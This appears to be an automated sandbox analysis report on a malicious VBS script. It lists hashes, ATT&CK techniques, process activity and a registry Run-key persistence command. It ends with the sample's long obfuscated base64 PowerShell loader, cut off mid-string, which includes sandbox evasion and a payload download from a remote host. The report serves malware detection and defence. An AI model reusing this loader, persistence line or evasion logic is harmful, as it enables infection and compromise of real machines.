dd5d6e714667c0699571435b4d4ada397372f49b11fe7f0f4007b3b5fa766047

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 18:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TPREQUESTSPROCESSING.vbs
Size 96KB
Sample260710-wmss2sd19m
SHA256 dd5d6e714667c0699571435b4d4ada397372f49b11fe7f0f4007b3b5fa766047
MD5 529510a84ba8167bcd4188998a09cdec
SHA1 5b9645677e9474cb59f6ec07c486ed0384b73060
SHA512 acfc8df80b3d13628261f9971149b8c692e2fba1a22c0e3636dde1822e207df8f0789d28ee202303272b76a782831e4ef3871e7f8e5f9258816a42d7a874a8a1
SSDEEP 768:SDtPKTYCWKd4Eu/Gh310MFj0RyeqqnIphjs98sBEnEwEXag0ZHfY2kMudw:SETsKzBB10ZW5TtHfYrk
TLSH
T133A33A05F8DB8A08A1B15A874A53F2754B7F791E2EFE808814CDDBC60BC35429951BBF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3792	powershell.exe
6	2440	powershell.exe
7	2440	powershell.exe
8	2440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1924	powershell.exe
5920	powershell.exe
3792	powershell.exe
2440	powershell.exe
5768	powershell.exe
2120	powershell.exe
4680	powershell.exe
5808	powershell.exe
3656	powershell.exe
4192	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4052	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers Update-714 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\cetas.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2440	powershell.exe
2440	powershell.exe
4680	powershell.exe
4680	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4680 set thread context of 5108	4680	powershell.exe	130

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 26 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1000	cmd.exe
1636	PING.EXE
3036	PING.EXE
1428	PING.EXE
4920	cmd.exe
1084	cmd.exe
3116	cmd.exe
4544	cmd.exe
1216	PING.EXE
5900	PING.EXE
2864	cmd.exe
4512	PING.EXE
4760	PING.EXE
2216	PING.EXE
3224	PING.EXE
4772	cmd.exe
4972	PING.EXE
3264	cmd.exe
2868	cmd.exe
4368	PING.EXE
3048	cmd.exe
4616	cmd.exe
5604	PING.EXE
5636	cmd.exe
3904	cmd.exe
1960	PING.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1720	ipconfig.exe

Runs ping.exe 1 TTPs 13 IoCs

Remote System Discovery

T1018

pid	Process
1216	PING.EXE
5900	PING.EXE
1428	PING.EXE
4760	PING.EXE
1960	PING.EXE
3224	PING.EXE
3036	PING.EXE
4512	PING.EXE
4368	PING.EXE
2216	PING.EXE
1636	PING.EXE
4972	PING.EXE
5604	PING.EXE

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
3656	powershell.exe
3656	powershell.exe
3792	powershell.exe
3792	powershell.exe
2440	powershell.exe
2440	powershell.exe
2440	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
2440	powershell.exe
2440	powershell.exe
2440	powershell.exe
5768	powershell.exe
5768	powershell.exe
2120	powershell.exe
2120	powershell.exe
2120	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
5808	powershell.exe
5808	powershell.exe
4680	powershell.exe
1924	powershell.exe
1924	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
5920	powershell.exe
5920	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4680	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeIncreaseQuotaPrivilege	3792	powershell.exe
Token: SeSecurityPrivilege	3792	powershell.exe
Token: SeTakeOwnershipPrivilege	3792	powershell.exe
Token: SeLoadDriverPrivilege	3792	powershell.exe
Token: SeSystemProfilePrivilege	3792	powershell.exe
Token: SeSystemtimePrivilege	3792	powershell.exe
Token: SeProfSingleProcessPrivilege	3792	powershell.exe
Token: SeIncBasePriorityPrivilege	3792	powershell.exe
Token: SeCreatePagefilePrivilege	3792	powershell.exe
Token: SeBackupPrivilege	3792	powershell.exe
Token: SeRestorePrivilege	3792	powershell.exe
Token: SeShutdownPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeSystemEnvironmentPrivilege	3792	powershell.exe
Token: SeRemoteShutdownPrivilege	3792	powershell.exe
Token: SeUndockPrivilege	3792	powershell.exe
Token: SeManageVolumePrivilege	3792	powershell.exe
Token: 33	3792	powershell.exe
Token: 34	3792	powershell.exe
Token: 35	3792	powershell.exe
Token: 36	3792	powershell.exe
Token: SeIncreaseQuotaPrivilege	3792	powershell.exe
Token: SeSecurityPrivilege	3792	powershell.exe
Token: SeTakeOwnershipPrivilege	3792	powershell.exe
Token: SeLoadDriverPrivilege	3792	powershell.exe
Token: SeSystemProfilePrivilege	3792	powershell.exe
Token: SeSystemtimePrivilege	3792	powershell.exe
Token: SeProfSingleProcessPrivilege	3792	powershell.exe
Token: SeIncBasePriorityPrivilege	3792	powershell.exe
Token: SeCreatePagefilePrivilege	3792	powershell.exe
Token: SeBackupPrivilege	3792	powershell.exe
Token: SeRestorePrivilege	3792	powershell.exe
Token: SeShutdownPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeSystemEnvironmentPrivilege	3792	powershell.exe
Token: SeRemoteShutdownPrivilege	3792	powershell.exe
Token: SeUndockPrivilege	3792	powershell.exe
Token: SeManageVolumePrivilege	3792	powershell.exe
Token: 33	3792	powershell.exe
Token: 34	3792	powershell.exe
Token: 35	3792	powershell.exe
Token: 36	3792	powershell.exe
Token: SeIncreaseQuotaPrivilege	3792	powershell.exe
Token: SeSecurityPrivilege	3792	powershell.exe
Token: SeTakeOwnershipPrivilege	3792	powershell.exe
Token: SeLoadDriverPrivilege	3792	powershell.exe
Token: SeSystemProfilePrivilege	3792	powershell.exe
Token: SeSystemtimePrivilege	3792	powershell.exe
Token: SeProfSingleProcessPrivilege	3792	powershell.exe
Token: SeIncBasePriorityPrivilege	3792	powershell.exe
Token: SeCreatePagefilePrivilege	3792	powershell.exe
Token: SeBackupPrivilege	3792	powershell.exe
Token: SeRestorePrivilege	3792	powershell.exe
Token: SeShutdownPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeSystemEnvironmentPrivilege	3792	powershell.exe
Token: SeRemoteShutdownPrivilege	3792	powershell.exe
Token: SeUndockPrivilege	3792	powershell.exe
Token: SeManageVolumePrivilege	3792	powershell.exe
Token: 33	3792	powershell.exe
Token: 34	3792	powershell.exe
Token: 35	3792	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 3656	1664	WScript.exe	87
PID 3656 wrote to memory of 3792	3656	powershell.exe	89
PID 3792 wrote to memory of 1720	3792	powershell.exe	92
PID 3792 wrote to memory of 2440	3792	powershell.exe	93
PID 2440 wrote to memory of 3116	2440	powershell.exe	95
PID 3116 wrote to memory of 3224	3116	cmd.exe	96
PID 2440 wrote to memory of 1000	2440	powershell.exe	97
PID 2440 wrote to memory of 4772	2440	powershell.exe	98
PID 2440 wrote to memory of 4544	2440	powershell.exe	99
PID 2440 wrote to memory of 3048	2440	powershell.exe	100
PID 2440 wrote to memory of 4616	2440	powershell.exe	101
PID 3048 wrote to memory of 1216	3048	cmd.exe	102
PID 4616 wrote to memory of 1636	4616	cmd.exe	103
PID 1000 wrote to memory of 5604	1000	cmd.exe	104
PID 4544 wrote to memory of 4972	4544	cmd.exe	105
PID 4772 wrote to memory of 3036	4772	cmd.exe	106
PID 2440 wrote to memory of 3264	2440	powershell.exe	107
PID 3264 wrote to memory of 5900	3264	cmd.exe	108
PID 2440 wrote to memory of 2868	2440	powershell.exe	109
PID 2440 wrote to memory of 2864	2440	powershell.exe	110
PID 2440 wrote to memory of 5636	2440	powershell.exe	111
PID 2440 wrote to memory of 3904	2440	powershell.exe	112
PID 2868 wrote to memory of 1428	2868	cmd.exe	113
PID 5636 wrote to memory of 4512	5636	cmd.exe	114
PID 3904 wrote to memory of 4760	3904	cmd.exe	115
PID 2864 wrote to memory of 4368	2864	cmd.exe	116
PID 2440 wrote to memory of 4192	2440	powershell.exe	117
PID 2440 wrote to memory of 4920	2440	powershell.exe	119
PID 4920 wrote to memory of 1960	4920	cmd.exe	120
PID 2440 wrote to memory of 1084	2440	powershell.exe	121
PID 1084 wrote to memory of 2216	1084	cmd.exe	122
PID 2440 wrote to memory of 1180	2440	powershell.exe	123
PID 2440 wrote to memory of 5768	2440	powershell.exe	124
PID 2440 wrote to memory of 2120	2440	powershell.exe	125
PID 2440 wrote to memory of 4680	2440	powershell.exe	126
PID 2440 wrote to memory of 3764	2440	powershell.exe	127
PID 4680 wrote to memory of 5108	4680	powershell.exe	130
PID 4680 wrote to memory of 5108	4680	powershell.exe	130
PID 4680 wrote to memory of 5108	4680	powershell.exe	130
PID 4680 wrote to memory of 5108	4680	powershell.exe	130
PID 4680 wrote to memory of 5108	4680	powershell.exe	130
PID 4680 wrote to memory of 5808	4680	powershell.exe	131
PID 5108 wrote to memory of 4052	5108	installutil.exe	132
PID 5808 wrote to memory of 1924	5808	powershell.exe	136
PID 5808 wrote to memory of 5920	5808	powershell.exe	137

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'ZnVuY3Rpb24gc2JVVFYgew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + ' + A + ' + 'rICJydC1Db21wdXRlci' + ' + A + ' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'Ow' + '0' + 'KDQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMi' + ' + A + ' + 'tYm' + ' + 9 + ' + 'yIFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTM7DQo7JHBWdVZvID' + '0' + 'gVGVzdC1Db25u' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'uICd3d3cuZ2' + ' + 9 + ' + 'vZ2xlLmNvbScgLUVycm' + ' + 9 + ' + 'yQWN' + '0' + 'aW' + ' + 9 + ' + 'uIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWU7DQokbXZ' + '0' + 'ZncgPS' + ' + A + ' + 'kcFZ1Vm8gLWlzIFtBcnJheV' + '0' + '7DQppZi' + ' + A + ' + 'oJG12dGZ3KXsNCg' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIHNiVVRWIDsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIGV4aXQ7DQp' + ' + 9 + ' + 'Ow' + '0' + 'KDQoNCiRteGpGcC' ;$EbaYA = ''+ ' + A + ' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + ' + A + ' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + ' + A + ' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + ' + A + ' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ1Byb2Ntb242NCcsICdQcm' + ' + 9 + ' + 'jbW' + ' + 9 + ' + 'uMzInLC' + ' + A + ' + 'nc2FuZGJveCcsICd' + '0' + 'Y3B2aWV3JywgJ' + '0' + '' + ' + 9 + ' + 'MTFlEQkcnLCRteGpGcCwgJ1dpcmUnICsgJ3NoYXJrJywnYXBhdGVETlMnLCdhbmFseXplJy' + ' + A + ' + 't' + 'ZW' + 'EgU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZSkgLWVxICROdWxsKXsgDQogIC' + ' + A + ' + 'NCn' + '0' + 'NCmVsc2V7I' + ' + A + ' + '' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gc2JVVFYgOw' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gZXhpdDsNCiB' + ' + 9 + ' + 'Ow' + '0' + 'KDQoNCmZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIEdldC1EaXNjbyB7DQogIC' + ' + A + ' + 'gJGNo' + 'ZW' + 'NrID' + '0' + 'gMT' + ' + A + ' + 'wOw' + '0' + 'KIC' + ' + A + ' + 'gIHRyeSB7DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gDQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICR' + '0' + 'b2Rvc' + '0' + '' + ' + 9 + ' + 'zRGlzY2' + ' + 9 + ' + 'zID' + '0' + 'gW1N5c3RlbS5JTy5Ecml2ZUluZm' + ' + 9 + ' + 'dOjpHZXREcml2ZXMoKTsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gDQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIGZvcmVhY2ggKCRkaXNjbyBpbi' + ' + A + ' + 'kdG' + ' + 9 + ' + 'kb3NPc' + '0' + 'Rpc2Nvcykgew' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'NCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIGlmICgkZGlzY28uRHJpdmVUeXBlIC1lcS' + ' + A + ' + 'nRml4' + 'ZW' + 'QnIC1hbmQgJGRpc2NvLklzUmVhZHkpIHsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gI' + ' + A + ' + '' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICRlc3BhY2' + ' + 9 + ' + 'Ub3RhbEdCID' + '0' + 'gKCRkaXNjby5Ub3RhbFNpemUgLy' + ' + A + ' + 'xR' + '0' + 'IpOw' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gI' + ' + A + ' + '' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIGlmICgkZXNwYWNvVG' + ' + 9 + ' + '' + '0' + 'YWxHQi' + ' + A + ' + 'tbGUgNj' + ' + A + ' + 'pIHsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gJGNo' + 'ZW' + 'NrID' + '0' + 'gMDsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICB' + ' + 9 + ' + 'IGVsc2Ugew' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'kY2hlY2sgPS' + ' + A + ' + 'xMD' + ' + A + ' + '7DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIGJy' + 'ZW' + 'FrIDsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICB' + ' + 9 + ' + 'DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICB' + ' + 9 + ' + 'DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIH' + '0' + 'NCi' + ' + A + ' + 'gICB' + ' + 9 + ' + 'IGNhdGNoIHsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gI' + ' + A + ' + '' + '0' + 'KIC' + ' + A + ' + 'gIH' + '0' + 'NCi' + ' + A + ' + 'gICByZXR1cm4gJGNo' + 'ZW' + 'NrOw' + '0' + 'KfQ' + '0' + 'KDQpmdW5jdGlvbiBHZXQtUmFtIHsNCi' + ' + A + ' + 'gICB' + '0' + 'cnkgew' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gI' + ' + A + ' + '' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'kdG' + ' + 9 + ' + '' + '0' + 'YWxN' + 'ZW' + '1vcnlCeXRlcy' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2ltSW5zdGFuY2UgV2luMzJfQ2' + ' + 9 + ' + 'tcHV' + '0' + 'ZXJTeXN' + '0' + '' + 'ZW' + '' + '0' + 'pLlRvdGFsUGh5c2ljYWxN' + 'ZW' + '1vcnk7DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gDQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICRyYW' + '0' + 'gPSBbaW5' + '0' + 'XSgkdG' + ' + 9 + ' + '' + '0' + 'YWxN' + 'ZW' + '1vcnlCeXRlcy' + ' + A + ' + 'vIDFHQik7DQogIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIHJldHVybi' + ' + A + ' + 'kcmFtOw' + '0' + 'KIC' + ' + A + ' + 'gIH' + '0' + 'gY2F' + '0' + 'Y2ggew' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gICByZXR1cm4gMDsNCi' + ' + A + ' + 'gICB' + ' + 9 + ' + 'DQp' + ' + 9 + ' + 'DQoNCiRyZXN1bHRhZG' + ' + 9 + ' + 'EaXNjby' + ' + A + ' + '' + ' + 9 + ' + 'IEdldC1EaXNjbzsNCiRyZXN1bHRhZG' + ' + 9 + ' + 'SYW' + '0' + 'gPSBHZXQtUmFtOw' + '0' + 'KDQppZi' + ' + A + ' + 'oJHJlc3VsdGFkb' + '0' + 'Rpc2NvIC1sZS' + ' + A + ' + '2MC' + ' + A + ' + 'tb3IgJHJlc3VsdGFkb1JhbS' + ' + A + ' + 'tbGUgMykgew' + '0' + 'KIC' + ' + A + ' + 'gc2JVVFY7DQogICBleGl' + '0' + 'Ow' + '0' + 'KfSBlbHNlIHsNCi' + ' + A + ' + 'gI' + ' + A + ' + '' + '0' + 'KfS' + ' + A + ' + '7DQoNCg' + '0' + 'KW1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIC1ib3IgW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMy' + ' + A + ' + '7DQokYW5pblc7DQpGdW5jdGlvbiBTdkZTUHs7DQokVW1qc2' + '0' + 'gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyhbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKCRhbmluVykpOw' + '0' + 'KcmV' + '0' + 'dXJuICRVbWpzbTsNCn' + '0' + '7DQokYVhwa3UgPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICd3eHpydy5' + '0' + 'eHQnKS' + ' + A + ' + '7JFRhV2RKID' + '0' + 'gJ2FIUjBjSE' + '0' + '2THknICsgKCc5aGIkXyRfJF8kXyRfJF' + ' + 9 + ' + 'SeVpXWmxiR2x3WldSdmIkXyRfJF8kXyRfJF' + ' + 9 + ' + 'GelkybHRaVEUzT' + '0' + 'RFd' + '0' + '8nIC1yZXBsYWNlICwgJ1wkX1wkX1wkX1wkX1wkX1wkXycsICdtJykgKy' + ' + A + ' + 'nVGt3TmpNeU' + ' + 9 + ' + 'EUXVNRGM1TVRjeE' + ' + 9 + ' + 'DNXRaWFZ6YVhSbGFHOXpkR2RoZEc5eUxtTnZiUzVpY2k5MVJGSlBjMmRuVFZCSVh6STFYekEyWD' + ' + A + ' + 'xbGRYTmZRWEp4ZFdsMmIzTkVaVlJsZUhSdkx6QXpMblI' + '0' + 'ZEE' + ' + 9 + ' + 'PScgOyRhbmluVy' + ' + A + ' + '' + ' + 9 + ' + 'ICRUYVdkSjsgJFRhV2RKID' + '0' + 'gU3ZGU1' + ' + A + ' + 'gOyRUYVdkSiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kYVhwa3UgLUVuY2' + ' + 9 + ' + 'kaW5nICdVVEY4Jy' + ' + A + ' + 'tZm' + ' + 9 + ' + 'yY2UgOzskSG5icXUgPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICdjbHljcC5' + '0' + 'eHQnKS' + ' + A + ' + '7JG55bnZ6ID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + ' + A + ' + '7JG55bnZ6LkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + ' + A + ' + '7JG55bnZ6LkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + ' + A + ' + 'nbm8tY2FjaGUnKS' + ' + A + ' + '7JG55bnZ6LkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + ' + A + ' + 'nbm8tY2FjaGUnKS' + ' + A + ' + '7JG55bnZ6LlByb3h5ID' + '0' + 'gW1N5c3RlbS5OZXQuV2ViUmVxdWVzdF' + '0' + '6OkdldFN5c3RlbVdlYlByb3h5KCkgOyRueW52ei5Qcm' + ' + 9 + ' + '4eS5DcmVk' + 'ZW' + '5' + '0' + 'aWFscy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LkNy' + 'ZW' + 'RlbnRpYWxDYWNoZV' + '0' + '6OkRlZmF1bHROZXR3b3JrQ3JlZGVudGlhbHMgOyR5SWdLbC' + ' + A + ' + 'gPS' + ' + A + ' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRhWHBrdS' + ' + A + ' + 'pIDsgQ2xlYXItRG5zQ2xp' + 'ZW' + '5' + '0' + 'Q2FjaGUgLUVycm' + ' + 9 + ' + 'yQWN' + '0' + 'aW' + ' + 9 + ' + 'uIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWU7IGlwY2' + ' + 9 + ' + 'uZmlnIC' + ' + 9 + ' + 'mbHVzaGRucyB8IE' + ' + 9 + ' + '1dC1OdWxsIDsgJHBFdFhiID' + '0' + 'gJG55bnZ6LkRvd25sb2FkRGF' + '0' + 'YSggJHlJZ' + '0' + 'tsLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDskcWNsbnQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkcEV' + '0' + 'WGIpIDskcWNsbnQgPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgkcWNsbnQsJ1wleCUrJykpWzFdKS5UcmltKCkgOyRxY2xudCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kSG5icXUgLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGN6dGpkICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4MT' + ' + A + ' + '5OT' + ' + A + ' + '2MzI4NC4wNzkxNzE4Lm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJyd1RFJPc2dnTVBIXzI1Xz' + ' + A + ' + '2X' + '0' + '1ldXNfQXJxdWl2b3NEZVRleHRvLycnICsgJydQZU5vJycpIDsnIDskY3p' + '0' + 'amQgKz' + '0' + 'gJyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICcnJWJhc2U2NCVjMnR5WVcx57eSVW1oamIyOVFMMmR5Ynk1MFpXNHRZeTXnt5JkSE5oY' + '0' + 'M4dk' + ' + 9 + ' + 